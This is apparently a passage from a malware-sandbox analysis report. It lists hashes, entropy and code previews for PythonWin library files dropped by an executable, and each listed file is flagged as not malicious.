Preview:	# DDE support for Pythonwin.#.# Seems to work fine (in the context that IE4 seems to have broken.# DDE on _all_ NT4 machines I have tried, but only when a "Command Prompt" window.# is open. Strange, but true. If you have problems with this, close all Command Prompts!...import sys.import traceback..import win32api.import win32ui.from dde import *.from pywin.mfc import object...class DDESystemTopic(object.Object):. def __init__(self, app):. self.app = app. object.Object.__init__(self, CreateServerSystemTopic()).. def Exec(self, data):. try:. # ...print "Executing", cmd. self.app.OnDDECommand(data). except:. t, v, tb = sys.exc_info(). # The DDE Execution failed.. print("Error executing DDE command."). traceback.print_exception(t, v, tb). return 0...class DDEServer(object.Object):. def __init__(self, app):. self.app = app. object.Object.__init__(self, CreateServ

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\mdi_pychecker.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	28975
Entropy (8bit):	4.5364847874971765
Encrypted:	false
SSDEEP:	768:vyyYVP+wv0unqp3M8tkNdfoi0EiP+y0EWJWPl6kEF/ylQEqTEfDs2:6yYNB8uutEZ6GEqTEfDs2
MD5:	AF34F4E8CA5665CBD609C8D539D0C899
SHA1:	4748704FF60270C8760970AB0E96ED47900B394B
SHA-256:	5917B87F05758AD32E141DB916B83EBEC85F6C0E953B3C830875249E065638A2
SHA-512:	4289066989BBF6DEA727BD446D5626829C74E5FAC13B0424E7669A5A177A2261C7A0512DA3C4FFF0CC13498D9BB4F770923ECEC24392E598E9F1100B660D2804
Malicious:	false
Preview:	######################################################################.##.## The Pychecker MDI Plug-In UserModule for Pythonwin.##.## contributed by Robert Kiendl.##.## Style is similar to (and inherited) from the SGrepMDI UserModule.##.## Usage:.##.## Start Pychecker on current file: Menu/File/New../Pychecker..## Use it: Jump to Pychecker warning source lines by double-click..## Auto-add "#$pycheck_no" / "#$pycheck_no=specific-re-pattern" tags.## to source lines by context/right-mouse-click on warning lines..##.## It requires pychecker installed and the pychecker.bat to be on.## the PATH. Example pychecker.bat:.##.## REM pychecker.bat.## C:\bin\python.exe C:\PYTHON23\Lib\site-packages\pychecker\checker.py %1 %2 %3 %4 %5 %6 %7 %8 %9.##.## Adding it as default module in PythonWin:.##.## +++ ./intpyapp.py.2006-10-02 17:59:32.974161600 +0200.## @@ -272,7 +282,7 @@.## .def LoadUserModules(self, moduleNames = None):.## ..# Load the users modules..## ..if moduleNames is None:.## -...d

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\scriptutils.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	23232
Entropy (8bit):	4.625752024930352
Encrypted:	false
SSDEEP:	384:oGBB+9o1Nl4fJsAgdeNVAOdlP9FB7yL8OndbFeEii786sA8:oIWo1Nl4aAX9KFdhZBsA8
MD5:	3FA91AE2F8D827F6F7493636E3EF42DE
SHA1:	A1858B85AB1647DCACE4C5DC1E4D743997AB30AE
SHA-256:	B7BA3C633BD8B912FACDBB0EB706F57785DF1F5137AF6E62503938B3042AAABC
SHA-512:	1EEE85598BFB3405D617CC12FFDF7B51DBD9F689E3634054FB23C56AB56BC94D33F13189FECAC9D95041B6C4FA351CC9D3C079D97ED9E9B38B7BBB1108813E8F
Malicious:	false
Preview:	""".Various utilities for running/importing a script.""".import bdb.import linecache.import os.import sys.import traceback..import __main__.import win32api.import win32con.import win32ui.from pywin.mfc import dialog.from pywin.mfc.docview import TreeView..from .cmdline import ParseArgs..RS_DEBUGGER_NONE = 0 # Dont run under the debugger..RS_DEBUGGER_STEP = 1 # Start stepping under the debugger.RS_DEBUGGER_GO = 2 # Just run under the debugger, stopping only at break-points..RS_DEBUGGER_PM = 3 # Dont run under debugger, but do post-mortem analysis on exception...debugging_options = """No debugging.Step-through in the debugger.Run in the debugger.Post-Mortem of unhandled exceptions""".split(. "\n".)..byte_cr = "\r".encode("ascii").byte_lf = "\n".encode("ascii").byte_crlf = "\r\n".encode("ascii")...# A dialog box for the "Run Script" command..class DlgRunScript(dialog.Dialog):. "A class for the 'run script' dialog".. def __init__(self, bHaveDebugger):. dialog.Dialog.__i

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\sgrepmdi.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	24972
Entropy (8bit):	4.450431007513399
Encrypted:	false
SSDEEP:	768:H+YGPXCcujMf3MfDHIt0EiP+y0EiJW9elQENe8aQg:eYKScuLDHWGENe8aQg
MD5:	739FD32DA981B43D1CC9F7E98720017C
SHA1:	6EC45280E74CADCA61EA3BD1FEB16E23234E0284
SHA-256:	312C260C2E0385B6FBFE92975FC48943A8CEB34AF93D33D76E71497235CF155A
SHA-512:	56072052F6AABA2AFFAE9FEDBB3CDE6FE797720953645F65E741A01A8CEAC5FC04892F408076B1DF192E4F6DF81CDE85D9926CDAE686EBEC106337A67FA3E417
Malicious:	false
Preview:	# SGrepMDI is by Gordon McMillan (gmcm@hypernet.com).# It does basically what Find In Files does in MSVC with a couple enhancements..# - It saves any directories in the app's ini file (if you want to get rid.# .of them you'll have to edit the file).# - "Directories" can be directories,.# -.semicolon separated lists of "directories",.# -.environment variables that evaluate to "directories",.# -.registry path names that evaluate to "directories",.# -.all of which is recursive, so you can mix them all up..# - It is MDI, so you can 'nest' greps and return to earlier ones,.# .(ie, have multiple results open at the same time).# - Like FIF, double clicking a line opens an editor and takes you to the line..# - You can highlight text, right click and start a new grep with the selected.# .text as search pattern and same directories etc as before..# - You can save grep parameters (so you don't lose your hardearned pattern).# .from File\|Save.# - You can save grep results by right clicking in t

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\startup.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2847
Entropy (8bit):	4.818753732087679
Encrypted:	false
SSDEEP:	48:MJ7O/20AAgRoSEyd/S4+u3SF6ESlltYCfr5ZiVJEF7xgj8PKOW+cZFQEgD9L62D6:KK/2ugRUyd/S4f3oS/e0r6Iaj8C3YAO6
MD5:	6F528ECE40B18F85CB4695E07DEF6DE5
SHA1:	047EF48463C4DFE1129AAA4C357B202F31CAA822
SHA-256:	0DBCAA89CD5101BA15092209C424DC8039082F472E94207632D2875F2F5CBB27
SHA-512:	5C73CD1B0455106A183DF3FF83E5E5925DFE9DC59FF6C1210D6094AF087863897B4295773F6C3F0096F5B32E2A2FA536F97B872EF92F3C76BABA497940C1F7E8
Malicious:	false
Preview:	# startup.py.#."The main application startup code for PythonWin."..#.# This does the basic command line handling...# Keep this as short as possible, cos error output is only redirected if.# this runs OK. Errors in imported modules are much better - the messages go somewhere (not any more :-)..import os.import sys..import win32api.import win32ui..if not sys.argv:. # Initialize sys.argv from commandline. When sys.argv is empty list (. # different from [''] meaning "no cmd line arguments" ), then C. # bootstrapping or another method of invocation failed to initialize. # sys.argv and it will be done here. ( This was a workaround for a bug in. # win32ui but is retained for other situations. ). argv = win32api.CommandLineToArgv(win32api.GetCommandLine()). sys.argv = argv[1:]. if os.getcwd() not in sys.path and "." not in sys.path:. sys.path.insert(0, os.getcwd())..# You may wish to redirect error output somewhere useful if you have startup errors..# eg, 'impor

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\stdin.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6584
Entropy (8bit):	4.430368341661001
Encrypted:	false
SSDEEP:	96:S2A0DR1T8Is8HaxCYVN17vkgMMa14OnD0jdc2RoNQtDWjIH8wopCw:Sv091/BHaBvqztDJqtApT
MD5:	779DAA247AD98D623265DD978F8F45B2
SHA1:	228187723DEE7D4C4ECF4721A016E1834757DB96
SHA-256:	5AECCBD881306B45100F09997E93EED403E5D57809517BD7345F4D5ADC120CB6
SHA-512:	9511DE7A479F1311CE4B582D95CE66B101CB667D98AF8DD36580227D1EF048C62CBB8858DBFD7DC5C5C1096357B498D2803F6D9572A73682876080FA8598643F
Malicious:	false
Preview:	# Copyright (c) 2000 David Abrahams. Permission to copy, use, modify, sell.# and distribute this software is granted provided this copyright.# notice appears in all copies. This software is provided "as is" without.# express or implied warranty, and with no claim as to its suitability for.# any purpose.."""Provides a class Stdin which can be used to emulate the regular old.sys.stdin for the PythonWin interactive window. Right now it just pops.up a raw_input() dialog. With luck, someone will integrate it into the.actual PythonWin interactive window someday...WARNING: Importing this file automatically replaces sys.stdin with an.instance of Stdin (below). This is useful because you can just open.Stdin.py in PythonWin and hit the import button to get it set up right.if you don't feel like changing PythonWin's source. To put things back.the way they were, simply use this magic incantation:. import sys. sys.stdin = sys.stdin.real_file.""".import sys..try:. get_input_line = raw_input

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\toolmenu.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9369
Entropy (8bit):	4.707765657430447
Encrypted:	false
SSDEEP:	192:xthkUOPG+/2okmwXMdGwstrsgKQQJ3pcSPupD2yIAZw6cRoKd:xthXOPG+8MQwsFsJQQJEf2
MD5:	9EC0D59C03FD3B953B91793523CAC864
SHA1:	5A6153011FD0A34FC0D51E70F011E9AFA8C78863
SHA-256:	DE941FAB3EDD0213569A624E7F2DFC744D29A9282CCEFFA20E278B273F651220
SHA-512:	0670C2BFB1C7A6A7C0CA6ABE898390F44D762383745666A8F812C0077206F79C852F61F596F16B82867CC1736E919103909A3533E18FEFC2DA61C4A37AE932D7
Malicious:	false
Preview:	# toolmenu.py..import sys..import win32api.import win32con.import win32ui..from . import app..tools = {}.idPos = 100..# The default items should no tools menu exist in the INI file..defaultToolMenuItems = [. ("Browser", "win32ui.GetApp().OnViewBrowse(0,0)"),. (. "Browse PythonPath",. "from pywin.tools import browseProjects;browseProjects.Browse()",. ),. ("Edit Python Path", "from pywin.tools import regedit;regedit.EditRegistry()"),. ("COM Makepy utility", "from win32com.client import makepy;makepy.main()"),. (. "COM Browser",. "from win32com.client import combrowse;combrowse.main(modal=False)",. ),. (. "Trace Collector Debugging tool",. "from pywin.tools import TraceCollector;TraceCollector.MakeOutputWindow()",. ),.]...def LoadToolMenuItems():. # Load from the registry.. items = []. lookNo = 1. while 1:. menu = win32ui.GetProfileVal("Tools Menu\\%s" % lookNo, "", ""). if menu == "":.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\window.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	535
Entropy (8bit):	4.9611604606840505
Encrypted:	false
SSDEEP:	12:HiTUyF6H3cWLwv9K1N1eSA+sV5S3Z6osf+Z6RLvDI6Xvn:HMUDMZ1U/e5/vS3ZDzZ+LbIon
MD5:	57D70F791843C91E65EE5E218775EDED
SHA1:	2594F2BAAA48A797FF9867C014A05A48644181CA
SHA-256:	89566D4A8CA81DDCD291909915F4C521DF04C4F08BD6EA1E73AAED121487CB08
SHA-512:	C04319B0BB8387B6885414F5542F8550D895360A9B3537F580406EBB9DA1BC3BE38F08B6435A91FF4E071EF0E5B8BD23C11EC8DF298582E437CF04CC12B35F6E
Malicious:	false
Preview:	# Framework Window classes...# Most Pythonwin windows should use these classes rather than.# the raw MFC ones if they want Pythonwin specific functionality..import pywin.mfc.window.import win32con...class MDIChildWnd(pywin.mfc.window.MDIChildWnd):. def AutoRestore(self):. "If the window is minimised or maximised, restore it.". p = self.GetWindowPlacement(). if p[1] == win32con.SW_MINIMIZE or p[1] == win32con.SW_SHOWMINIMIZED:. self.SetWindowPlacement(p[0], win32con.SW_RESTORE, p[2], p[3], p[4]).

C:\recover\pw\Lib\site-packages\pythonwin\pywin\framework\winout.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20312
Entropy (8bit):	4.581654387141737
Encrypted:	false
SSDEEP:	192:OgI9C73YcqsFayUTx2kLt8DJ/kZfuz/+cyyRO9VS8r9iRoohZrKq5tVIXCrU0ZFm:g6qdLtSQuz/HyyI3SoYrb5PFU0Z1xSr
MD5:	9EB4277350EB49CB90C442D49ECA0631
SHA1:	17493C9248F1769BC6072C26DE77A879D9B9A262
SHA-256:	4A47F88AAE5E5B212869FC60828C2B53CDE3DC4B1F11B49889B59F65938BA26F
SHA-512:	8A05409A206E39A73C173F50AE85E06747237D75F7DB752B54645271670D1FFF099519C57965DB7376CA5A1249D5DD949D21F9033956E559F3392C3848B7DFBA
Malicious:	false
Preview:	# winout.py.#.# generic "output window".#.# This Window will detect itself closing, and recreate next time output is.# written to it...# This has the option of writing output at idle time (by hooking the.# idle message, and queueing output) or writing as each.# write is executed..# Updating the window directly gives a jerky appearance as many writes.# take place between commands, and the windows scrolls, and updates etc.# Updating at idle-time may defer all output of a long process, giving the.# appearence nothing is happening..# There is a compromise "line" mode, which will output whenever.# a complete line is available...# behaviour depends on self.writeQueueing..# This module is thread safe - output can originate from any thread. If any thread.# other than the main thread attempts to print, it is always queued until next idle time..import queue.import re..import win32api.import win32con.import win32ui.from pywin.framework import app, window.from pywin.mfc import docview..debug = la

C:\recover\pw\Lib\site-packages\pythonwin\pywin\idle\AutoExpand.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2714
Entropy (8bit):	4.1476646118507166
Encrypted:	false
SSDEEP:	48:7vWXdGptGxEeDlKcX33TplsHcM6rqQEeySqsHYu5sy+RMJdNoPzeaqeL7gH2:tLGrXdaQqf6VoGlAgW
MD5:	3EB71BFBAA8E711E20947793841139C0
SHA1:	71088FBC63CD92116EF379E2FA903174B4C1E59B
SHA-256:	E965226123BDEF4C98961BBB5BA88083F4E95AE42A07C4EE9F05D9DC6D22F009
SHA-512:	46FA954AE4BD9BCE3446F6C472446DF8F18B6B562227087F5251BAADEEAEDCE9506B078BE686625EBFADEC3DDD02321E336632A59482BB418C123396881F6971
Malicious:	false
Preview:	import re.import string..###$ event <<expand-word>>.###$ win <Alt-slash>.###$ unix <Alt-slash>...class AutoExpand:. keydefs = {. "<<expand-word>>": ["<Alt-slash>"],. }.. unix_keydefs = {. "<<expand-word>>": ["<Meta-slash>"],. }.. menudefs = [. (. "edit",. [. ("E_xpand word", "<<expand-word>>"),. ],. ),. ].. wordchars = string.ascii_letters + string.digits + "_".. def __init__(self, editwin):. self.text = editwin.text. self.text.wordlist = None # XXX what is this?. self.state = None.. def expand_word_event(self, event):. curinsert = self.text.index("insert"). curline = self.text.get("insert linestart", "insert lineend"). if not self.state:. words = self.getwords(). index = 0. else:. words, index, insert, line = self.state. if insert != curinsert or line != curline:. words = self

C:\recover\pw\Lib\site-packages\pythonwin\pywin\idle\AutoIndent.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20682
Entropy (8bit):	4.252065700758349
Encrypted:	false
SSDEEP:	384:kRBIJcF+o2ERXDljJwNBGsTACLu09QQhpyviqR66AARcTNh:kRqaDxDVJSACGR66AFh
MD5:	DC3B0E008D701AB5D77BDDB4A99F2046
SHA1:	424295FB0EF10C3677A893C6FAE6550A78D824FC
SHA-256:	8D0E00FAF18D7CDECFE4BB2C6961DB8DFBE73ED829042558B7A2AF59C8020DD8
SHA-512:	611A18CEEECEFFD56F02DFF50A4331EB09DFC2DA7805CCD28B8775EBCB4CCB2565BA23B5221C3EB8F517E5161A8EBEA8EADD978A880E284F550C6E76D908447F
Malicious:	false
Preview:	import sys.import tokenize..from pywin import default_scintilla_encoding..from . import PyParse..if sys.version_info < (3,):. # in py2k, tokenize() takes a 'token eater' callback, while. # generate_tokens is a generator that works with str objects.. token_generator = tokenize.generate_tokens.else:. # in py3k tokenize() is the generator working with 'byte' objects, and. # token_generator is the 'undocumented b/w compat' function that. # theoretically works with str objects - but actually seems to fail). token_generator = tokenize.tokenize...class AutoIndent:. menudefs = [. (. "edit",. [. None,. ("_Indent region", "<<indent-region>>"),. ("_Dedent region", "<<dedent-region>>"),. ("Comment _out region", "<<comment-region>>"),. ("U_ncomment region", "<<uncomment-region>>"),. ("Tabify region", "<<tabify-region>>"),. ("Untabify region",

C:\recover\pw\Lib\site-packages\pythonwin\pywin\idle\CallTips.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6372
Entropy (8bit):	4.331987781000828
Encrypted:	false
SSDEEP:	96:lbcnr/2NIhNSk8NLN7r77rUsgMuEB83xoCBs5qqsbAgVI/FnNn:lvSq5nLU7nqgov0kNNn
MD5:	8E4C2D3EBA3C17961CA827664F893BCF
SHA1:	E4C8E37C90E02158FEC807C433912043F7DA95E8
SHA-256:	3A3454E10F5519974B2E257DB21ECEF56113ED7E749E05D7BEAA9DEFA29C3088
SHA-512:	BD9DC7F1D8CE86BCC50DC80F75154F7540784DDAD55C62626FAEE2AB8D6367A0ECE4F22F559ACBEB0381FAE97B7B1F10320C3C4005B7EFF68B8619D5E38C35DE
Malicious:	false
Preview:	# CallTips.py - An IDLE extension that provides "Call Tips" - ie, a floating window that.# displays parameter information as you open parens...import inspect.import string.import sys.import traceback...class CallTips:. menudefs = [].. keydefs = {. "<<paren-open>>": ["<Key-parenleft>"],. "<<paren-close>>": ["<Key-parenright>"],. "<<check-calltip-cancel>>": ["<KeyRelease>"],. "<<calltip-cancel>>": ["<ButtonPress>", "<Key-Escape>"],. }.. windows_keydefs = {}.. unix_keydefs = {}.. def __init__(self, editwin):. self.editwin = editwin. self.text = editwin.text. self.calltip = None. if hasattr(self.text, "make_calltip_window"):. self._make_calltip_window = self.text.make_calltip_window. else:. self._make_calltip_window = self._make_tk_calltip_window.. def close(self):. self._make_calltip_window = None.. # Makes a Tk based calltip window. Used by IDLE, but not Pythonwin.. # S

C:\recover\pw\Lib\site-packages\pythonwin\pywin\idle\FormatParagraph.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5727
Entropy (8bit):	4.394603822126328
Encrypted:	false
SSDEEP:	96:5JDTx9FYoxvd46boQCPDvMX/+xCeRHdAi+gXFA0xl/yk/yd/aQ:T66vztpXGxCeRHdRtFAml6k6dCQ
MD5:	3CF25A5E5CB7402B113937BDAB4CC1B9
SHA1:	E357FC507FDBFA7C2D5DB9FAB73DAA6A4CFF6B5A
SHA-256:	C7809EB50F1FCF8F85E3D0867924DF2047FE121F13CF526CEBCB1401466BBCCD
SHA-512:	D51C0CE656C2A2A37DF6FBA135C3E3B9066F42626C722267D38C677D2BD591C6C8AC59CDB4AEBB4FBA444C0AEC9062FE333B598E61062EC6B6A6BD1B0F8F23B4
Malicious:	false
Preview:	# Extension to format a paragraph..# Does basic, standard text formatting, and also understands Python.# comment blocks. Thus, for editing Python source code, this.# extension is really only suitable for reformatting these comment.# blocks or triple-quoted strings...# Known problems with comment reformatting:.# * If there is a selection marked, and the first line of the.# selection is not complete, the block will probably not be detected.# as comments, and will have the normal "text formatting" rules.# applied..# * If a comment block has leading whitespace that mixes tabs and.# spaces, they will not be considered part of the same block..# * Fancy comments, like this bulleted list, arent handled :-)..import re...class FormatParagraph:. menudefs = [. (. "edit",. [. ("Format Paragraph", "<<format-paragraph>>"),. ],. ). ].. keydefs = {. "<<format-paragraph>>": ["<Alt-q>"],. }.. unix_keydefs = {.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\idle\IdleHistory.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3069
Entropy (8bit):	4.1340413851981355
Encrypted:	false
SSDEEP:	48:WI0VjbvYV2MFTxMYlSqp/sNXQp/A7d/XdifpdUB6zDOngrQ6B+w:7InF2NfjW8A75XdiRdaADOgEs+w
MD5:	B815FCA1AF9503A92419F20246D48ABD
SHA1:	1CB99DA007989D2EA3269A85486EFF1DAF3D8F2E
SHA-256:	BCE4E7E672276D01D69ED79C7ED1D9F5889006AD6B3FBAC602CAC9B355BC0947
SHA-512:	619BFF443025CE7D70EF72DC84F1CC68EB3E6F0F80B8A129F132C49C025AD9C9E82D4B0B892B75C789E80CB4FD593A7090747F8D66E135C3F870D87DDDC80B1B
Malicious:	false
Preview:	class History:. def __init__(self, text, output_sep="\n"):. self.text = text. self.history = []. self.history_prefix = None. self.history_pointer = None. self.output_sep = output_sep. text.bind("<<history-previous>>", self.history_prev). text.bind("<<history-next>>", self.history_next).. def history_next(self, event):. self.history_do(0). return "break".. def history_prev(self, event):. self.history_do(1). return "break".. def _get_source(self, start, end):. # Get source code from start index to end index. Lines in the. # text control may be separated by sys.ps2 .. lines = self.text.get(start, end).split(self.output_sep). return "\n".join(lines).. def _put_source(self, where, source):. output = self.output_sep.join(source.split("\n")). self.text.insert(where, output).. def history_do(self, reverse):. nhist = len(self.history). pointer =

C:\recover\pw\Lib\site-packages\pythonwin\pywin\idle\PyParse.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18492
Entropy (8bit):	4.094627670715275
Encrypted:	false
SSDEEP:	384:kDSC3LGcWXNFHTMX+G/54PXcbXS/4/2ezRp8CRbJbl31Ia7If5I41e4/IAL3/0kh:kDfq3fpG/5+XcbXS/4/2ezhbJbef5I4V
MD5:	2881726294DCF58E56EFB900C5A0F8D3
SHA1:	DAB83CA4EC35577579E0DA320A0230D985640A9A
SHA-256:	43F04DAAC0C47DCA9A7B2507B1445BA876DEBF73B658F7F62D0A0E44B6666196
SHA-512:	C65C12AFA7085229E6C391F1C565087AD09145AD80E5E7D213E1EDEA269202CC695E614126B861EB4F928E8210A88DE75F5FF5C20E775EF4C585B0345720E51E
Malicious:	false
Preview:	import re.import string.import sys..# Reason last stmt is continued (or C_NONE if it's not)..C_NONE, C_BACKSLASH, C_STRING, C_BRACKET = list(range(4))..if 0: # for throwaway debugging output.. def dump(stuff):. sys.__stdout__.write(" ".join(map(str, stuff)) + "\n")...# Find what looks like the start of a popular stmt..._synchre = re.compile(. r""". ^. [ \t]. (?: if. \| for. \| while. \| else. \| def. \| return. \| assert. \| break. \| class. \| continue. \| elif. \| try. \| except. \| raise. \| import. ). \b.""",. re.VERBOSE \| re.MULTILINE,.).search..# Match blank line or non-indenting comment line..._junkre = re.compile(. r""". [ \t]. (?: \# \S . )?. \n.""",. re.VERBOSE,.).match..# Match any flavor of string; the terminating quote is optional.# so that we're robust in the face of incomplete program text..._match_stringre = re.compile(. r""". \""" [^"\\]* (?:.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\idle\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.162111531234448
Encrypted:	false
SSDEEP:	3:SbFQyA+AFRGHWkexVWSvn:SbFW+bHWkcVjv
MD5:	C2A467B129816CF02C12519E3E45DB0A
SHA1:	49D83D6E76EA862B9885CD4E0F4FD721DCF1F79A
SHA-256:	44B1DF947FF50D72D59B94198997B704164F45A1CD53FEFA952A8E17E3547F84
SHA-512:	AA54B67FB7B539616B131EC081FE27B0C7E3684490C19028226BA37760E6FB63BA7C1D6D814BFFA613C43A0EDAC655EF305CF09EC2A52D88FE916E7BFBD3D602
Malicious:	false
Preview:	# This file denotes the directory as a Python package..

C:\recover\pw\Lib\site-packages\pythonwin\pywin\mfc\activex.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2868
Entropy (8bit):	4.593442899717496
Encrypted:	false
SSDEEP:	48:wIUyrO+52aUrxTZzEkAOQlypxbGb72X95xqqliH2afGjfPYX5DWT4yQl7c8GH9:rUqUrx1RAOtXqeNK8iWaaXYXtU4ySoX9
MD5:	33A3FC76024153A2C91464ECF67B48D7
SHA1:	B351FE1B5981AC4BC64B310C84ACD913A9FB18CF
SHA-256:	786CD903AAD80332EEC07026AA0289776BEBCDE5A8B05086902054D782D46B6A
SHA-512:	6853C668A08B4BE27DEA2D2CF6D83F07DCF80AF3BCB398D3183A4983584165ECF7E9BA2EFEB156CA61F93986132AD4900DF18858FDB3BEC9D7B9584212071FF1
Malicious:	false
Preview:	"""Support for ActiveX control hosting in Pythonwin..""".import win32ui.import win32uiole..from . import window..# XXX - we are still "classic style" classes in py2x, so we need can't yet.# use 'type()' everywhere - revisit soon, as py2x will move to new-style too....try:. from types import ClassType as new_type.except ImportError:. new_type = type # py3k...class Control(window.Wnd):. """An ActiveX control base class. A new class must be derived from both. this class and the Events class. See the demos for more details.. """.. def __init__(self):. self.__dict__["_dispobj_"] = None. window.Wnd.__init__(self).. def _GetControlCLSID(self):. return self.CLSID.. def _GetDispatchClass(self):. return self.default_interface.. def _GetEventMap(self):. return self.default_source._dispid_to_func_.. def CreateControl(self, windowTitle, style, rect, parent, id, lic_string=None):. clsid = str(self._GetControlCLSID()).

C:\recover\pw\Lib\site-packages\pythonwin\pywin\mfc\afxres.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15094
Entropy (8bit):	4.777558868848426
Encrypted:	false
SSDEEP:	192:p9+7gM0XJNbpbCffiskBtXvyhE+RjE5LedEIq0E1G+fe:pJNlCff8yxjE5LI4v1A
MD5:	370BEB77C36C0B2E840E6AB850FCE757
SHA1:	0A87A029CA417DAA03D22BE6EDDFDDBAC0B54D7A
SHA-256:	462659F2891D1D767EA4E7A32FC1DBBD05EC9FCFA9310ECDC0351B68F4C19ED5
SHA-512:	4E274071CA052CA0D0EF5297D61D06914F0BFB3161843B3CDCFDE5A2EA0368974FD2209732A4B00A488C84A80A5AB94AD4FD430FF1E4524C6425BAA59E4DA289
Malicious:	false
Preview:	# Generated by h2py from stdin.TCS_MULTILINE = 0x0200.CBRS_ALIGN_LEFT = 0x1000.CBRS_ALIGN_TOP = 0x2000.CBRS_ALIGN_RIGHT = 0x4000.CBRS_ALIGN_BOTTOM = 0x8000.CBRS_ALIGN_ANY = 0xF000.CBRS_BORDER_LEFT = 0x0100.CBRS_BORDER_TOP = 0x0200.CBRS_BORDER_RIGHT = 0x0400.CBRS_BORDER_BOTTOM = 0x0800.CBRS_BORDER_ANY = 0x0F00.CBRS_TOOLTIPS = 0x0010.CBRS_FLYBY = 0x0020.CBRS_FLOAT_MULTI = 0x0040.CBRS_BORDER_3D = 0x0080.CBRS_HIDE_INPLACE = 0x0008.CBRS_SIZE_DYNAMIC = 0x0004.CBRS_SIZE_FIXED = 0x0002.CBRS_FLOATING = 0x0001.CBRS_GRIPPER = 0x00400000.CBRS_ORIENT_HORZ = CBRS_ALIGN_TOP \| CBRS_ALIGN_BOTTOM.CBRS_ORIENT_VERT = CBRS_ALIGN_LEFT \| CBRS_ALIGN_RIGHT.CBRS_ORIENT_ANY = CBRS_ORIENT_HORZ \| CBRS_ORIENT_VERT.CBRS_ALL = 0xFFFF.CBRS_NOALIGN = 0x00000000.CBRS_LEFT = CBRS_ALIGN_LEFT \| CBRS_BORDER_RIGHT.CBRS_TOP = CBRS_ALIGN_TOP \| CBRS_BORDER_BOTTOM.CBRS_RIGHT = CBRS_ALIGN_RIGHT \| CBRS_BORDER_LEFT.CBRS_BOTTOM = CBRS_ALIGN_BOTTOM \| CBRS_BORDER_TOP.SBPS_NORMAL = 0x0000.SBPS_NOBORDERS = 0x0100.SBPS_POPOUT = 0x0200.SB

C:\recover\pw\Lib\site-packages\pythonwin\pywin\mfc\dialog.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9002
Entropy (8bit):	4.653477006452847
Encrypted:	false
SSDEEP:	192:tmY8+q9G2PjQnqrLsDsOqDs+Yg0Mxpb0Xh4hwWIc:tmEwG2PjQnqs6Nih47
MD5:	12BC3CDBB2F36846A76A43060AFB93DA
SHA1:	94BB0F8D3EFCC2873BEEA25253551696662DDDFC
SHA-256:	1343399262F87394D38ADCCB5C6A2A7B999C41FC48AFD4D1F890140DB250F2D9
SHA-512:	57C7855DFA87487F55DB9D5D312CE89827B5E9F26642FC89A59F5B389E16D777F5CD49D07ACC67CF9578E36BF56C11097062E7180CB2C8C785DF1BE53AEBFBB6
Malicious:	false
Preview:	""" \.Base class for Dialogs. Also contains a few useful utility functions.""".# dialog.py.# Python class for Dialog Boxes in PythonWin...import win32con.import win32ui..# sob - 2to3 doesn't see this as a relative import :(.from pywin.mfc import window...def dllFromDll(dllid):. "given a 'dll' (maybe a dll, filename, etc), return a DLL object". if dllid == None:. return None. elif type("") == type(dllid):. return win32ui.LoadLibrary(dllid). else:. try:. dllid.GetFileName(). except AttributeError:. raise TypeError("DLL parameter must be None, a filename or a dll object"). return dllid...class Dialog(window.Wnd):. "Base class for a dialog".. def __init__(self, id, dllid=None):. """id is the resource ID, or a template. dllid may be None, a dll object, or a string with a dll name""". # must take a reference to the DLL until InitDialog.. self.dll = dllFromDll(dllid). if type(id) ==

C:\recover\pw\Lib\site-packages\pythonwin\pywin\mfc\docview.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4089
Entropy (8bit):	4.654928602298063
Encrypted:	false
SSDEEP:	96:tqu76lDV5Kb5/65Ab5i5PSbnrmAY3UrrWEnSSiWsYVBvw+XuMWwJYMExXNO:dExNO
MD5:	8791456FD7D550ECF2F6D9A49EBB55E5
